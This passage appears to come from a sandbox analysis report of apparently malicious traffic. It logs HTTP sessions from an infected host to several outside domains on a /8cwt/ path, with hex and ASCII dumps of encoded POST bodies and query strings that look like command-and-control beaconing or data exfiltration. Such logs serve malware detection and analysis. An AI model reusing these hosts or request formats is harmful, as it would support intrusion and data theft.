69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.11.30	49899	203.161.49.193	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:30.331979036 CEST	712	OUT	POST /8cwt/ HTTP/1.1 Host: www.innovtech.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.innovtech.life Referer: http://www.innovtech.life/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 66 51 42 6d 6d 59 7a 36 71 76 4b 2b 43 2b 4c 65 7a 50 74 42 33 52 78 31 51 70 7a 63 6d 38 54 44 37 75 65 39 41 51 39 48 68 34 34 6e 4f 76 65 71 34 73 48 7a 74 56 62 62 6c 32 30 74 77 4e 76 42 65 30 36 66 6e 31 39 45 6a 44 50 73 77 71 6a 73 2b 74 34 4c 46 66 49 67 57 61 66 4b 77 62 49 2f 30 34 4b 73 6a 42 6f 36 4e 39 53 64 4c 74 59 75 71 68 6a 5a 46 71 43 35 35 61 59 6b 73 53 77 6a 6e 66 35 34 59 71 35 4d 64 37 42 76 6a 4f 32 2f 4a 2f 59 68 54 64 48 43 77 4e 35 47 4d 30 52 4e 56 44 59 39 32 57 59 6c 2f 65 5a 39 64 34 47 63 6c 6b 6f 71 52 4a 71 5a 38 77 6e 2f 31 41 52 76 35 4d 44 52 2b 6f 54 6f 67 77 4f 52 72 6b 56 47 71 63 2f 50 78 63 4d 3d Data Ascii: 24eluX=fQBmmYz6qvK+C+LezPtB3Rx1Qpzcm8TD7ue9AQ9Hh44nOveq4sHztVbbl20twNvBe06fn19EjDPswqjs+t4LFfIgWafKwbI/04KsjBo6N9SdLtYuqhjZFqC55aYksSwjnf54Yq5Md7BvjO2/J/YhTdHCwN5GM0RNVDY92WYl/eZ9d4GclkoqRJqZ8wn/1ARv5MDR+oTogwORrkVGqc/PxcM=
Jun 4, 2024 14:20:30.518039942 CEST	533	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:20:30 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.11.30	49900	203.161.49.193	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:33.032955885 CEST	1629	OUT	POST /8cwt/ HTTP/1.1 Host: www.innovtech.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.innovtech.life Referer: http://www.innovtech.life/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 66 51 42 6d 6d 59 7a 36 71 76 4b 2b 43 2b 4c 65 7a 50 74 42 33 52 78 31 51 70 7a 63 6d 38 54 44 37 75 65 39 41 51 39 48 68 34 77 6e 4f 64 57 71 37 4e 48 7a 73 56 62 62 37 6d 30 73 77 4e 75 42 65 30 79 54 6e 31 35 55 6a 41 33 73 79 49 48 73 75 4d 34 4c 50 66 49 67 4f 71 66 50 39 37 4a 2f 30 34 61 6f 6a 42 34 36 4e 39 53 64 4c 76 41 75 71 31 33 5a 48 71 43 36 77 36 59 77 2f 43 78 2b 6e 65 52 4f 59 71 39 63 61 4b 68 76 69 75 6d 2f 4b 4d 77 68 66 64 48 63 78 4e 34 44 4d 30 56 6f 56 41 39 43 32 58 38 44 2f 63 4a 39 63 4d 50 51 79 55 30 56 47 6f 65 47 31 51 6a 79 68 79 4a 34 30 2f 62 63 36 59 50 53 33 68 4b 4f 7a 68 6c 6e 39 2b 48 34 76 4b 4f 78 71 2f 72 50 52 37 75 7a 33 43 36 55 61 6c 4d 62 2b 4a 54 75 49 79 64 42 57 5a 7a 76 5a 72 2f 6a 58 72 79 2b 61 4f 6a 52 49 52 43 51 4e 70 56 76 31 62 58 36 64 77 51 42 32 39 65 73 65 6e 7a 68 34 77 74 6d 66 70 46 6a 53 65 64 6e 7a 63 32 38 6a 65 71 53 66 43 71 53 75 44 4c 58 57 57 55 37 36 64 35 6d 61 42 30 54 52 59 33 41 42 65 2b 78 68 56 59 [TRUNCATED] Data Ascii: 24eluX=fQBmmYz6qvK+C+LezPtB3Rx1Qpzcm8TD7ue9AQ9Hh4wnOdWq7NHzsVbb7m0swNuBe0yTn15UjA3syIHsuM4LPfIgOqfP97J/04aojB46N9SdLvAuq13ZHqC6w6Yw/Cx+neROYq9caKhvium/KMwhfdHcxN4DM0VoVA9C2X8D/cJ9cMPQyU0VGoeG1QjyhyJ40/bc6YPS3hKOzhln9+H4vKOxq/rPR7uz3C6UalMb+JTuIydBWZzvZr/jXry+aOjRIRCQNpVv1bX6dwQB29esenzh4wtmfpFjSednzc28jeqSfCqSuDLXWWU76d5maB0TRY3ABe+xhVYaNJahIx/TGyu3UVHEvALcr/79udhI8FMfSV9znbVokJCWmmJxiXnUUtXLvX2K/ooo46NSFz1h5NsWaa3LAkwJjR+2s8kpKLNiTPUnrLlsqVOFo4g/yE/MrG+6mmu3kleid/66rhLE3aTFgB1B1nx5rIdsyITeP5oLFiwyEUIocWD2LNuHernjvh06m+J1GeRQKFnAMSAjpY4LhoSMXYVp4vPE3E5Nelx4F68rzw0zHSEM3jEt+jXtKXt+JscL0A2mj32JDNHG+Wdqob0vedtJEv9+8RL8ahYoxSTm2WqM0olJ7VquuhL370R6hzDAZpCR9LKpjtOxSBwVOpRwzS9y+GMdBvZaiwOOn05k+3vVqNUpQ0A0/fkXxhaXTebO6LRcDcmoUIMMEVxQBS6uQVK4XAyqcYO8NzavsVKliQ786lc9RV8PxB53xAro+UGq6oCu/7MhGxMe71LPNXRVTOtTY/IQTdP2m7T0kWY12CQHzhusYxGlKo9MwpqDUwGZClOkqbOa7pzzOrx3kAOFCkUrEsetFFO8+vjfiva+ZpIeuoJbTxX9hjXg4RiZdDz1jwsZ/SorhYjCb1Vlj4bgDjEWqeP4l5FY5Rrpdoz5dRNe0CtKP0RnAWmCeYLPhkaLdfFrkidTngE1GpiBsPKyV0wzyQ/6rXtjb73FV [TRUNCATED]
Jun 4, 2024 14:20:33.216226101 CEST	533	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:20:33 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.11.30	49901	203.161.49.193	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:35.735954046 CEST	429	OUT	GET /8cwt/?24eluX=SSpGlvD+1syJM+fS7Z8C1Cd2ZLeBmOr+68qPZxMelqgcCM6DsfmVmmLjkXM2/P+9S0q4oxoduwfupYzMqMwdcdYcBeP38sFbk5TUrAJPEOGdI/gD7BvPJp4=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.innovtech.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:20:35.910913944 CEST	548	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:20:35 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.11.30	49902	91.195.240.123	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:41.154891968 CEST	674	OUT	POST /8cwt/ HTTP/1.1 Host: www.k4ryd.us Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.k4ryd.us Referer: http://www.k4ryd.us/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 39 4c 4c 4d 6f 61 75 57 4f 6b 75 51 4c 2f 71 6a 4e 5a 55 2b 69 41 31 6b 36 4d 33 64 49 2b 45 36 65 49 42 78 45 34 62 52 62 67 4c 6b 39 34 58 47 37 69 2b 51 57 55 2b 37 71 54 50 6b 2f 4c 6d 4a 46 55 79 64 45 76 61 7a 6c 31 73 4e 2b 32 78 63 37 67 73 75 59 39 52 7a 6a 32 33 47 47 68 62 7a 35 65 42 71 7a 44 4c 72 70 4a 71 37 44 66 61 7a 56 62 4d 30 66 76 39 65 70 55 30 4c 34 37 78 6c 31 38 68 6b 38 64 6e 4d 31 78 4e 33 48 70 39 55 41 4d 72 30 79 71 37 44 61 45 65 62 71 58 46 4c 6c 75 74 42 38 71 64 74 33 69 78 70 61 41 47 36 59 2b 52 56 57 68 4d 47 69 47 6d 63 32 47 42 75 59 41 3d 3d Data Ascii: 24eluX=9LLMoauWOkuQL/qjNZU+iA1k6M3dI+E6eIBxE4bRbgLk94XG7i+QWU+7qTPk/LmJFUydEvazl1sN+2xc7gsuY9Rzj23GGhbz5eBqzDLrpJq7DfazVbM0fv9epU0L47xl18hk8dnM1xN3Hp9UAMr0yq7DaEebqXFLlutB8qdt3ixpaAG6Y+RVWhMGiGmc2GBuYA==
Jun 4, 2024 14:20:41.379555941 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.11.30	49903	91.195.240.123	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:43.924374104 CEST	694	OUT	POST /8cwt/ HTTP/1.1 Host: www.k4ryd.us Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.k4ryd.us Referer: http://www.k4ryd.us/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 39 4c 4c 4d 6f 61 75 57 4f 6b 75 51 4b 63 43 6a 4d 36 73 2b 6b 67 31 6e 2f 4d 33 64 48 65 45 41 65 49 64 78 45 38 43 57 62 57 7a 6b 39 5a 6e 47 30 41 57 51 59 30 2b 37 7a 6a 50 62 77 72 6d 53 46 55 2f 67 45 76 6d 7a 6c 31 6f 4e 2b 32 68 63 36 58 77 76 4a 39 52 31 71 57 33 45 49 42 62 7a 35 65 42 71 7a 44 50 4e 70 4a 79 37 44 50 4b 7a 57 36 4d 72 42 2f 39 42 68 30 30 4c 38 37 78 68 31 38 68 57 38 5a 48 71 31 30 4a 33 48 74 78 55 41 2b 44 33 34 71 37 42 45 30 66 2b 35 48 52 46 6b 75 4a 64 79 70 41 30 35 43 64 4c 53 33 33 67 46 39 6c 58 46 42 77 72 2b 48 4c 30 30 45 41 31 46 44 46 6d 45 6a 70 66 75 4e 69 56 46 6f 54 67 4f 6d 58 35 66 44 45 3d Data Ascii: 24eluX=9LLMoauWOkuQKcCjM6s+kg1n/M3dHeEAeIdxE8CWbWzk9ZnG0AWQY0+7zjPbwrmSFU/gEvmzl1oN+2hc6XwvJ9R1qW3EIBbz5eBqzDPNpJy7DPKzW6MrB/9Bh00L87xh18hW8ZHq10J3HtxUA+D34q7BE0f+5HRFkuJdypA05CdLS33gF9lXFBwr+HL00EA1FDFmEjpfuNiVFoTgOmX5fDE=
Jun 4, 2024 14:20:44.156729937 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.11.30	49904	91.195.240.123	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:46.683096886 CEST	1611	OUT	POST /8cwt/ HTTP/1.1 Host: www.k4ryd.us Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.k4ryd.us Referer: http://www.k4ryd.us/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 39 4c 4c 4d 6f 61 75 57 4f 6b 75 51 4b 63 43 6a 4d 36 73 2b 6b 67 31 6e 2f 4d 33 64 48 65 45 41 65 49 64 78 45 38 43 57 62 56 54 6b 38 71 76 47 31 6e 4b 51 62 30 2b 37 37 44 50 65 77 72 6e 53 46 55 6e 6b 45 76 71 4e 6c 33 67 4e 73 46 5a 63 75 32 77 76 41 39 52 31 6e 32 33 4a 47 68 62 63 35 65 52 32 7a 44 2f 4e 70 4a 79 37 44 4a 47 7a 43 37 4d 72 44 2f 39 65 70 55 30 66 34 37 78 4a 31 34 46 73 38 5a 44 63 31 41 39 33 48 4a 64 55 54 39 72 33 30 71 37 35 46 30 66 63 35 48 4d 48 6b 75 46 76 79 74 42 66 35 42 4e 4c 57 53 65 44 57 66 78 65 54 6a 73 31 2f 6b 50 4a 31 45 63 6a 44 52 46 63 43 69 6b 68 71 74 6d 68 44 49 50 72 66 6d 44 31 44 44 74 65 67 66 32 2b 58 35 62 4e 52 47 51 7a 6d 42 78 72 6b 4c 2f 62 5a 6f 73 68 70 61 62 43 4d 4b 51 69 72 63 75 30 51 74 42 63 36 45 44 7a 4d 65 78 6a 6b 46 51 4d 76 72 4b 51 71 2b 67 6d 6f 34 49 2f 65 68 5a 67 73 4f 6e 42 52 50 56 39 6e 6a 78 36 50 36 66 62 7a 4e 63 78 31 46 58 71 69 6c 45 77 58 55 76 59 71 6a 70 79 6e 72 75 65 57 58 31 79 5a 6f 4f [TRUNCATED] Data Ascii: 24eluX=9LLMoauWOkuQKcCjM6s+kg1n/M3dHeEAeIdxE8CWbVTk8qvG1nKQb0+77DPewrnSFUnkEvqNl3gNsFZcu2wvA9R1n23JGhbc5eR2zD/NpJy7DJGzC7MrD/9epU0f47xJ14Fs8ZDc1A93HJdUT9r30q75F0fc5HMHkuFvytBf5BNLWSeDWfxeTjs1/kPJ1EcjDRFcCikhqtmhDIPrfmD1DDtegf2+X5bNRGQzmBxrkL/bZoshpabCMKQircu0QtBc6EDzMexjkFQMvrKQq+gmo4I/ehZgsOnBRPV9njx6P6fbzNcx1FXqilEwXUvYqjpynrueWX1yZoOgKQ0lmTzbhHFDFBx3R/BytG/hb99HY62uRGyjv+oCX9B8T1Ayvf4o/Q0KagAEVAKeTbzf7G7BTp80jAYIdv66rt50H4H6eioXC3NiKa1iyJDHN31PqdSkpg2RTeMGJDQQZwzK0cmtxwh/6spDY1vo23xgjxBGtYVvD9xpWR2cyfjLtLB8i1VMsVRzKX4Mtz2yPLhjE9qW/sN/KDQVVQ+wyRtg9CNvsUbiG6a8EzqpOBx3tyQLUbNnnYC0MR5LTc6VjDE9mnbTCfnkI9i0zaBrxQ3sWTm2HvrHBpEmmYGcRjKj4BINpsG1IWCLpOflT9FrMgI8psbqym4F/8pNv887m9EpBQf2cn8fZTUIaJzjCRlDkdsj5AUHfmBFUoPhA1RYx+QKadY+9sbLe9gnM1CJr4kUmI+wLYXSjvnk+Urzfb7gOf6u8jFSUvjM2axpA8/ziq6VgpL00AauUT8WdWsYk6tLZQlBGC4jajLYw5/UYbXGPLxof8CaiuONeURmm8cDtCud1LzwCvF18ZJr6ocLX3egckcz0mc2KNRT26QquzoPa3IvJeE86G6k35hdCnqUqeXNUYzrU/nktIXLzWA0vVVZjp/aAvSENlCz0pIw1xlZLD+16kUzWlIzWWR0m4MlyRd5cfddnYMPeEXpGE06x1VEvFz9zwU1x [TRUNCATED]
Jun 4, 2024 14:20:46.909781933 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.11.30	49905	91.195.240.123	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:49.432606936 CEST	423	OUT	GET /8cwt/?24eluX=wJjsrv+xTFW5EezvLu5DoT5e4On1D8g+dr15EOXITWTD1anv0RLrfGS01TvW8pCuGmfcOvvelUpztksk4WpfZfFxijTtARXG8NIL7Taa8Kq3eoSsUv86NcY=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.k4ryd.us Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:20:49.658915997 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.11.30	49907	66.81.203.196	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:22:27.191332102 CEST	707	OUT	POST /8cwt/ HTTP/1.1 Host: www.accentbathrooms.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.accentbathrooms.com Referer: http://www.accentbathrooms.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 34 37 79 38 79 63 32 55 70 73 4d 42 56 76 6d 41 6a 76 53 63 65 77 49 36 6e 64 79 63 32 42 4a 42 79 66 6e 30 55 35 36 73 4a 4e 5a 52 38 6d 6c 6f 35 4c 50 6d 42 52 67 44 47 42 43 7a 72 61 37 39 6c 7a 35 39 4f 37 56 49 38 62 73 6b 57 6f 72 43 4c 74 2f 48 65 4a 38 6d 64 52 67 32 52 50 71 54 4e 34 65 6f 35 62 44 47 4c 78 4e 50 30 2b 39 6a 41 35 55 31 75 59 47 51 78 59 54 66 34 70 33 37 71 75 49 45 6c 79 75 71 4f 45 69 35 69 57 50 54 35 52 6f 34 2b 48 4a 64 66 45 2b 4f 39 6d 47 31 6d 74 4b 46 54 30 37 4a 41 34 55 45 32 73 59 31 6a 4c 59 6b 78 66 41 4c 4a 6e 2f 78 56 35 43 31 61 77 3d 3d Data Ascii: 24eluX=47y8yc2UpsMBVvmAjvScewI6ndyc2BJByfn0U56sJNZR8mlo5LPmBRgDGBCzra79lz59O7VI8bskWorCLt/HeJ8mdRg2RPqTN4eo5bDGLxNP0+9jA5U1uYGQxYTf4p37quIElyuqOEi5iWPT5Ro4+HJdfE+O9mG1mtKFT07JA4UE2sY1jLYkxfALJn/xV5C1aw==
Jun 4, 2024 14:22:27.353035927 CEST	380	IN	HTTP/1.1 403 Forbidden Server: nginx/1.14.2 Date: Tue, 04 Jun 2024 12:22:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 62 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 31 0e c2 30 0c 45 77 24 ee 60 ba a7 a1 d0 31 64 41 20 31 30 71 82 a4 36 4d a4 34 41 21 12 f4 f6 24 50 24 c4 cc c8 e8 ef e7 67 cb c2 a4 c1 c9 f9 4c 18 52 28 45 b2 c9 91 6c 97 6b d8 87 a8 2d 22 79 c1 5f a1 e0 4f 24 a3 3a e0 08 ba ef 82 0b 71 53 dd 8c 4d 54 15 45 47 3e 51 94 c2 34 df 86 9c 08 3e b5 cb ae 0c 4d 95 ef ad bf f3 a6 6e da 7a f5 89 f0 b2 a4 48 f9 fb c0 05 63 a0 e0 a2 10 ad ef 21 05 40 7b 55 da 11 1c 4f 87 1d 28 8f b0 35 31 0c 04 e7 68 c9 a3 1b 81 62 0c 31 4f f4 04 8c 15 d7 5f f1 cb 5f 3c 00 d2 96 ee 17 3b 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: bc10Ew$`1dA 10q6M4A!$P$gLR(Elk-"y_O$:qSMTEG>Q4>MnzHc!@{UO(51hb1O__<;0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.11.30	49908	66.81.203.196	80

Timestamp	Bytes transferred	Direction	Data
